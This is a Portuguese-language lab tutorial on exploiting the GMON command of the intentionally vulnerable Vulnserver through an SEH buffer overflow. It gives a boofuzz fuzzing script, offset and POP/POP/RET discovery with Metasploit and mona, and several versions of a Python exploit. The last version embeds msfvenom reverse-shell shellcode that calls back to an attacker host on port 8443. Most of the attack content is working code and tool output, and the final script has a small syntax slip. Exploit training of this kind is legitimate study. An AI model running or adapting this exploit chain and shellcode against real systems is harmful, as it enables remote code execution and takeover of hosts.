COMANDO GMON
O comando GMON, assim como os demais, recebe um argumento e dá uma resposta. Neste comando iremos explorar outa tecnica de exploração de buffer overflow em binários Windows.
FUZZING
Desta vez vamos experimentar outra técnica para o fuzzing, o python tem uma a biblioteca boofuzz que pode ser usada, vamos escrever nosso script.
fuzzing2.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
from boofuzz import *
import time
def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(1024)
except:
print("Nao foi possivel a conexao.")
exit(1)
my_logger.log_check("Recebendo banner...")
if banner_template in banner:
my_logger.log_pass("Banner recebido!")
else:
my_logger.log_fail("Banner nao recebido")
print("Banner nao recebido, saindo...")
exit(1)
def main():
session = Session(
sleep_time = 1,
target = Target(
connection=SocketConnection("192.168.1.30", 9999, proto='tcp')
),
)
s_initialize(name="Request")
with s_block("Host-Line"):
s_static('GMON', name="command name")
s_delim(" ")
s_string("FUZZ", name="comando da variavel")
s_delim("\r\n")
session.connect(s_get("Request"), callback=get_banner)
session.fuzz()
if __name__ == "__main__":
main()
Este script fará várias tentativas de fuzzing e tentará receber o banner novamente, uma vez que não receba mais, o programa parou e o fuzzing para.
Podemos ver que o script parou ao enviar 10.007 bytes constituidos da repetição de “./././”, se voltarmos ao codigo fonte que analisamos no inicio, veremos que o GMON espera receber “/” para ativar a função vulnerável.
Vamos esboçar nosso script.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * offset
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Preparando o vulnserver no Immunity Debbuger, vamos ver seu comportamento.
Desta vez, nós causamos o crash no programa, mas não sobrescrevemos o EIP. Isso significa que o vulnserver está tratando o input de alguma forma.
Se olharmos para o “SEH” (View > SEH chain), podemos ver que conseguimos sobrescrever tanto o SEH quanto o nSEH. Mas do que isso se trata?
STRUCTURE EXCEPTION HANDING
O SEH é um mecanismo unforme para responder a excessões criado pela Microsoft e implantado desde a versão XP. Ele permite que linguagens como C/C++ utilizem a estrutura de excessões utilizadas por linguagens de alto nível (try-except-finally). Abaixo um exemplo:
1
2
3
4
5
6
7
__try {
....
strcpy(mybuff, myinput);
}
__except (INSUFFICIENT_MEMORY) {
my_exception_handler();
}
Onde o programa tentará realizar um “strcpy()”, e se ele falhar por “INSUFFICIENT_MEMORY”, vai chamar a função “my_exception_handler()”.
Quando uma excessão ocorre, o OS caminha pela corrente SEH em busca de uma saída para aquela excessão. Se nenhuma saída for encontrada, o programa responde com a saída padrão: “FFFFFFFF”.
A estrutura do _EXCEPTION_REGISTRATION_RECORD:
1
2
3
4
5
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Onde o parametro “Next” aponta para o próximo endereço de SEH, também chamado de SEH, e o “Handler” aponta para o SEH.
Mais sobre como funciona o SEH pode ser encontrado aqui.
Para explorarmos o SEH, precisamos da habilidade de causar uma excessão, e sobrescrever o endereço do SEH e nSEH para apontar para o endereço do nosso código.
EXPLORANDO O SEH
Se rodarmos nosso script novamente e monitorarmos no Immunity, podemos visualizar a corrente SEH e visualizar no painel (Shift+F9).
Como sobrescrevemos o endereço do SEH e do nSEH, conseguimos sobrescrever o endereço EIP dentro da corrente, e isto nos dá controle sobre a execução do programa.
Precisamos encontrar o offset para sobrescrever os endereços SEH, utilizaremos o msf-patter_create.
Vamos atualizar em nosso script e reenviar para o programa após reiniciá-lo no Immunity.
Sobrescrevemos o endereço do nSEH com os bytes 45336f45, vamos encontrar o offset exato com o msf-pattern_offset.
1
2
3
$ msf-pattern_offset -l 10007 -q 45336f45
[*] Exact match at offset 3549
Temos o offset de 3549 para atingir o endereço de EIP. Vamos atualizar o nosso script e testar com o Immunity.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"B" * 4
payload += b"C" * (offset - 3549 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Como podemos ver, o SEH foi preenchido pelos nossos “C” ao inves dos “B”, mas ele está tentando fazer um salto para os “B”, pois ao não encontrar a regra de excessão no SEH, ele tenta pular para o nSEH.
Ótimo, conseguimos sobrescrever os endereços, isso nos aproxima de ter controle sobre a execução.
Normalmente como fizemos nos comandos anteriores, agora iriamos encontrar um bom endereço de retorno para nosso ESP, mas vamos analisar a stack da corrente do SEH.
Nós caímos 8 bytes antes do nosso buffer, o que significa que ser fizermos um JMP ESP, vamos cair num espaço da memória do qual não temos controle.
Precisamos encontrar uma forma de retirar estes 8 bytes da stack antes do JMP ESP para podermos cair exatamente em nosso buffer.
ESTRUTURA LIFO
A stack da arquitetura x86 segue o padrão LIFO (Last In First Out) onde o ultimo item a entrar na stack é o primeiro a sair. Cada vez que fazemos um PUSH na memória, nós adicionamos exatamente 4 bytes à stack decrementando o apontador, ou seja, em cada PUSH em ESP o apontador ESP recebe um valor -4, em contrapartida, quando fazemos um POP na stack, adicionamos 4 bytes no apontador.
Como nosso buffer está 8 bytes acima de onde caímos, precisamos adicionar 8 bytes à stack, conseguimos isso encontrando um endereço que contenha um POP/POP/RET.
1
2
3
POP <qualquer registrador 32 bytes>
POP <qualquer registrador 32 bytes>
RET
Onde, o primeiro POP vai retirar o primeiro endereço da stack, adicionando 4 bytes ao endereço, e o segundo POP vai adicionar mais 4. O RET vai pegar o primeiro endereço da stack e adicioná-lo ao EIP, e assim executamos exatamente nosso buffer.
Podemos encontrar o endereço POP/POP/RET com o proprio Immunity utilizando o plugin mona com o comando !mona seh -cp nonull -cm safeseh=off
.
Onde -cp nonull
omite endereços com caracteres nulos, “-cm safeseh=off” omite endereços compilados com SafeSEH.
Encontramos 12 endereços de POP/POP/RET utilizáveis, no meu caso utilizarei o 6250120b.
Vamos atualizar nosso script, e inserir o endereço encontrado no lugar de nossos “C”, lembrando que os bytes tem que ir na ordem inversa pois utilizam little indiam.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"B" * 4
payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Vamos iniciar o vulnserver, inserir um breakpoint exatamente em nosso POP/POP/RET e rodar nosso script.
Caímos exatamente em nosso POP/POP/RET, se avançarmos, vamos cair na stack com um buffer.
Porém, vamos analisar o buffer em que caímos:
Caímos exatamente em cima dos nossos “B”, o problema é que só temos 4 bytes de “B” e logo em seguida temos o endereço do nosso POP/POP/RET novamente, impossível aproveitar 4 bytes para um shellcode. Também não podemos fazer um salto para o buffer de “A”, pois seria um salto longo, que ocupa 5 bytes.
Mas se analizarmos, logo após nosso POP/POP/RET temos o buffer dos “D”, seria um salto curto, e um salto curto felizmente tem o tamanho de 2 bytes.
Fazendo a matemática, temos que saltar 8 bytes para atingir o buffer (4 bytes de “B” + 4 bytes do POP/POP/RET). Vamos calcular o opcode do salto de 8 bytes para nosso buffer utilizando o msf-nasm_shell
.
1
2
3
4
5
$ msf-nasm_shell
nasm > JMP short 10
00000000 EB08 jmp short 0xa
nasm >
Por que eu calculei um salto de 10 bytes ao inves dos 8 que precisamos? Porque o JMP vai calcular o salto incluindo incluindo o tamanho da instrução JMP que por sua vez tem 2 bytes.
Precisamos inserir o salto no lugar dos nossos “B” pois quando o POP/POP/RET cair nesse endereço, saltará para nossos buffers de “D”.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto
payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Analisando no Immunity, vemos que logo apos o POP/POP/RET caímos no jump.
Se avançarmos mais um passo, caímos no buffer dos “D” (44).
E constatamos o total controle na execução do programa. Mas ainda temos outro problema para resolver: o buffer de “D” tem apenas 41 bytes de espaço, mas este tipo de problema, já resolvemos no comando GTER, e vamos fazer exatamente igual.
PULANDO DE VOLTA PARA O BUFFER INICIAL
Desta vez, precisamos de 5 bytes para fazer um log jump back, e temos 41, está fácil. Consultando a distancia com msf-nasm_shell, precisamos de um salto de 3557 bytes (3549 bytes de “A” + 4 bytes do POP/POP/RET + 4 bytes do short jump).
1
2
3
4
$ msf-nasm_shell
nasm > JMP $-3557
00000000 E916F2FFFF jmp 0xfffff21b
Temos a distância e916f2ffff, vamos atualizar o script.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62"
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Analisando no Immunity:
Caímos exatamente em cima do nosso buffer de “A”, agora temos 3549 bytes para explorarmos da forma que quisermos.
Antes de tudo, precisamos gerar nosso reverse shell com msfvenom e organizar nosso script.
xplgmon.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# offset para buffer overflow
offset = 10007
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=8443 -b '\x00' -v shellcode -f py
shellcode = b""
shellcode += b"\xbd\x0a\xb3\xad\x9f\xd9\xcd\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x52\x31\x6f\x12\x83\xef\xfc"
shellcode += b"\x03\x65\xbd\x4f\x6a\x85\x29\x0d\x95\x75\xaa"
shellcode += b"\x72\x1f\x90\x9b\xb2\x7b\xd1\x8c\x02\x0f\xb7"
shellcode += b"\x20\xe8\x5d\x23\xb2\x9c\x49\x44\x73\x2a\xac"
shellcode += b"\x6b\x84\x07\x8c\xea\x06\x5a\xc1\xcc\x37\x95"
shellcode += b"\x14\x0d\x7f\xc8\xd5\x5f\x28\x86\x48\x4f\x5d"
shellcode += b"\xd2\x50\xe4\x2d\xf2\xd0\x19\xe5\xf5\xf1\x8c"
shellcode += b"\x7d\xac\xd1\x2f\x51\xc4\x5b\x37\xb6\xe1\x12"
shellcode += b"\xcc\x0c\x9d\xa4\x04\x5d\x5e\x0a\x69\x51\xad"
shellcode += b"\x52\xae\x56\x4e\x21\xc6\xa4\xf3\x32\x1d\xd6"
shellcode += b"\x2f\xb6\x85\x70\xbb\x60\x61\x80\x68\xf6\xe2"
shellcode += b"\x8e\xc5\x7c\xac\x92\xd8\x51\xc7\xaf\x51\x54"
shellcode += b"\x07\x26\x21\x73\x83\x62\xf1\x1a\x92\xce\x54"
shellcode += b"\x22\xc4\xb0\x09\x86\x8f\x5d\x5d\xbb\xd2\x09"
shellcode += b"\x92\xf6\xec\xc9\xbc\x81\x9f\xfb\x63\x3a\x37"
shellcode += b"\xb0\xec\xe4\xc0\xb7\xc6\x51\x5e\x46\xe9\xa1"
shellcode += b"\x77\x8d\xbd\xf1\xef\x24\xbe\x99\xef\xc9\x6b"
shellcode += b"\x0d\xbf\x65\xc4\xee\x6f\xc6\xb4\x86\x65\xc9"
shellcode += b"\xeb\xb7\x86\x03\x84\x52\x7d\xc4\x6b\x0a\x7c"
shellcode += b"\x05\x04\x49\x7e\x05\x2f\xc4\x98\x2f\xdf\x81"
shellcode += b"\x33\xd8\x46\x88\xcf\x79\x86\x06\xaa\xba\x0c"
shellcode += b"\xa5\x4b\x74\xe5\xc0\x5f\xe1\x05\x9f\x3d\xa4"
shellcode += b"\x1a\x35\x29\x2a\x88\xd2\xa9\x25\xb1\x4c\xfe"
shellcode += b"\x62\x07\x85\x6a\x9f\x3e\x3f\x88\x62\xa6\x78"
shellcode += b"\x08\xb9\x1b\x86\x91\x4c\x27\xac\x81\x88\xa8"
shellcode += b"\xe8\xf5\x44\xff\xa6\xa3\x22\xa9\x08\x1d\xfd"
shellcode += b"\x06\xc3\xc9\x78\x65\xd4\x8f\x84\xa0\xa2\x6f"
shellcode += b"\x34\x1d\xf3\x90\xf9\xc9\xf3\xe9\xe7\x69\xfb"
shellcode += b"\x20\xac\x9a\xb6\x68\x85\x32\x1f\xf9\x97\x5e"
shellcode += b"\xa0\xd4\xd4\x66\x23\xdc\xa4\x9c\x3b\x95\xa1"
shellcode += b"\xd9\xfb\x46\xd8\x72\x6e\x68\x4f\x72\xbb"
# payload
payload = b"GMON ./" # comando inicial
payload += b”\x90” +10 # padding para o shellcode
payload += shellcode # enviando shellcode para o primeiro buffer
payload += b"A" * (3549 - len(shellcode) - 10) # complementando o buffer com "A"
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62" # POP/POP/RET
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5) # complemento do buffer com "D"
# conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# envio do payload
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
Vamos setar um netcat para ouvir a porta 8443, iniciar o vulnserver fora do immunity e testar o script.
E conseguimos nosso reverse shell.
Neste comando, fuzemos a exploração de overflow de SEH e realiamos vários saltos na memória conhecendo um pouco mais a fundo sua estrutura.
Nos próximos comandos vamos experimentar novas complexidades.
GO GO GO!!!